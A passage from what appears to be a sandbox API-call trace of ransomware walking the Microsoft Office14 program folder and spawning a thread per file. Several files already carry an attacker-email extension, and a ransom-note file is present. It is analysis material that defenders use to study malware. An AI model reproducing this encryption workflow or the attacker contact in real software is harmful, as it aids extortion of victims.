Office\\Office14" [0140.964] wcscat (in: _Dest=0x972848, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.964] wcscat (in: _Dest=0x972848, _Source="ADVZIP.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" [0140.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0140.966] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0140.966] wcscmp (_String1="AEC.DLL", _String2=".") returned 1 [0140.966] wcscmp (_String1="AEC.DLL", _String2="..") returned 1 [0140.966] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0140.966] wcscmp (_String1="AECUTILS.DLL", _String2=".") returned 1 [0140.966] wcscmp (_String1="AECUTILS.DLL", _String2="..") returned 1 [0140.966] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0140.966] wcscmp (_String1="ASCIIENG.LNG", _String2=".") returned 1 [0140.966] wcscmp (_String1="ASCIIENG.LNG", _String2="..") returned 1 [0140.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9728c0 [0140.966] wcscpy (in: _Dest=0x9728c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.966] wcscat (in: _Dest=0x9728c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.966] wcscat (in: _Dest=0x9728c0, _Source="ASCIIENG.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" [0140.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9728c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0140.969] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="AUDIOS~1.DLL")) returned 1 [0140.969] wcscmp (_String1="AUDIOSEARCHLTS.DLL", _String2=".") returned 1 [0140.970] wcscmp (_String1="AUDIOSEARCHLTS.DLL", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="AUDIOS~3.DLL")) returned 1 [0140.970] wcscmp (_String1="AUDIOSEARCHMAIN.DLL", _String2=".") returned 1 [0140.970] wcscmp (_String1="AUDIOSEARCHMAIN.DLL", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="AUDIOS~2.DLL")) returned 1 [0140.970] wcscmp (_String1="AUDIOSEARCHSAPIFE.DLL", _String2=".") returned 1 [0140.970] wcscmp (_String1="AUDIOSEARCHSAPIFE.DLL", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0140.970] wcscmp (_String1="AUTHZAX.DLL", _String2=".") returned 1 [0140.970] wcscmp (_String1="AUTHZAX.DLL", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="BCSAUT~1.DLL")) returned 1 [0140.970] wcscmp (_String1="BCSAutogen.dll", _String2=".") returned 1 [0140.970] wcscmp (_String1="BCSAutogen.dll", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="BCSCLI~1.DLL")) returned 1 [0140.970] wcscmp (_String1="BCSClient.Msg.dll", _String2=".") returned 1 [0140.970] wcscmp (_String1="BCSClient.Msg.dll", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x69a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="BCSCLI~1.CD4")) returned 1 [0140.970] wcscmp (_String1="BCSClientManifest.man.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.970] wcscmp (_String1="BCSClientManifest.man.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8e5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="BCSEVE~1.CD4")) returned 1 [0140.970] wcscmp (_String1="BCSEvents.man.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.970] wcscmp (_String1="BCSEvents.man.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0140.970] wcscmp (_String1="BCSLaunch.dll", _String2=".") returned 1 [0140.970] wcscmp (_String1="BCSLaunch.dll", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0140.970] wcscmp (_String1="BCSProxy.dll", _String2=".") returned 1 [0140.970] wcscmp (_String1="BCSProxy.dll", _String2="..") returned 1 [0140.970] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0140.971] wcscmp (_String1="BCSRuntime.dll", _String2=".") returned 1 [0140.971] wcscmp (_String1="BCSRuntime.dll", _String2="..") returned 1 [0140.971] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="BCSRUN~2.DLL")) returned 1 [0140.971] wcscmp (_String1="BCSRuntimeUI.dll", _String2=".") returned 1 [0140.971] wcscmp (_String1="BCSRuntimeUI.dll", _String2="..") returned 1 [0140.971] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0140.971] wcscmp (_String1="BCSStr32.dll", _String2=".") returned 1 [0140.971] wcscmp (_String1="BCSStr32.dll", _String2="..") returned 1 [0140.971] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0140.971] wcscmp (_String1="BCSSync.exe", _String2=".") returned 1 [0140.971] wcscmp (_String1="BCSSync.exe", _String2="..") returned 1 [0140.971] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x66ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="BDCMET~2.CD4")) returned 1 [0140.971] wcscmp (_String1="bdcmetadata.xsd.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.971] wcscmp (_String1="bdcmetadata.xsd.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.971] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="BDCMET~1.CD4")) returned 1 [0140.971] wcscmp (_String1="bdcmetadataresource.xsd.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.971] wcscmp (_String1="bdcmetadataresource.xsd.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.971] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa38ac920, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa38ac920, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0140.971] wcscmp (_String1="Bibliography", _String2=".") returned 1 [0140.971] wcscmp (_String1="Bibliography", _String2="..") returned 1 [0140.971] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972938 [0140.971] wcscpy (in: _Dest=0x972938, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.971] wcscat (in: _Dest=0x972938, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.971] wcscat (in: _Dest=0x972938, _Source="Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0140.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0140.973] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa4101620, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa4101620, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0140.973] wcscmp (_String1="BORDERS", _String2=".") returned 1 [0140.973] wcscmp (_String1="BORDERS", _String2="..") returned 1 [0140.973] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f19f8 [0140.973] wcscpy (in: _Dest=0x8f19f8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.973] wcscat (in: _Dest=0x8f19f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.973] wcscat (in: _Dest=0x8f19f8, _Source="BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0140.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f19f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0140.975] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0140.975] wcscmp (_String1="BRTVIEW.DLL", _String2=".") returned 1 [0140.975] wcscmp (_String1="BRTVIEW.DLL", _String2="..") returned 1 [0140.975] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0140.975] wcscmp (_String1="BSTORM.DLL", _String2=".") returned 1 [0140.975] wcscmp (_String1="BSTORM.DLL", _String2="..") returned 1 [0140.975] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb03b60, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9eb03b60, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9eb03b60, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0140.975] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0140.975] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0140.975] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0140.975] wcscmp (_String1="CDLMSO.DLL", _String2=".") returned 1 [0140.975] wcscmp (_String1="CDLMSO.DLL", _String2="..") returned 1 [0140.975] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0140.975] wcscmp (_String1="CGMIMP32.HLP", _String2=".") returned 1 [0140.975] wcscmp (_String1="CGMIMP32.HLP", _String2="..") returned 1 [0140.975] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xddd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="CHARSE~1.CD4")) returned 1 [0140.975] wcscmp (_String1="CharSetTable.chr.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.975] wcscmp (_String1="CharSetTable.chr.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.975] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0140.976] wcscmp (_String1="CLVIEW.EXE", _String2=".") returned 1 [0140.976] wcscmp (_String1="CLVIEW.EXE", _String2="..") returned 1 [0140.976] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0140.976] wcscmp (_String1="CMAX20.DLL", _String2=".") returned 1 [0140.976] wcscmp (_String1="CMAX20.DLL", _String2="..") returned 1 [0140.976] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0140.976] wcscmp (_String1="CNFNOT32.EXE", _String2=".") returned 1 [0140.976] wcscmp (_String1="CNFNOT32.EXE", _String2="..") returned 1 [0140.976] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0140.976] wcscmp (_String1="CODEEDIT.DLL", _String2=".") returned 1 [0140.976] wcscmp (_String1="CODEEDIT.DLL", _String2="..") returned 1 [0140.976] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0140.976] wcscmp (_String1="CONTAB32.DLL", _String2=".") returned 1 [0140.976] wcscmp (_String1="CONTAB32.DLL", _String2="..") returned 1 [0140.976] FindNextFileW (in: hFindFile=0x8d9b50, 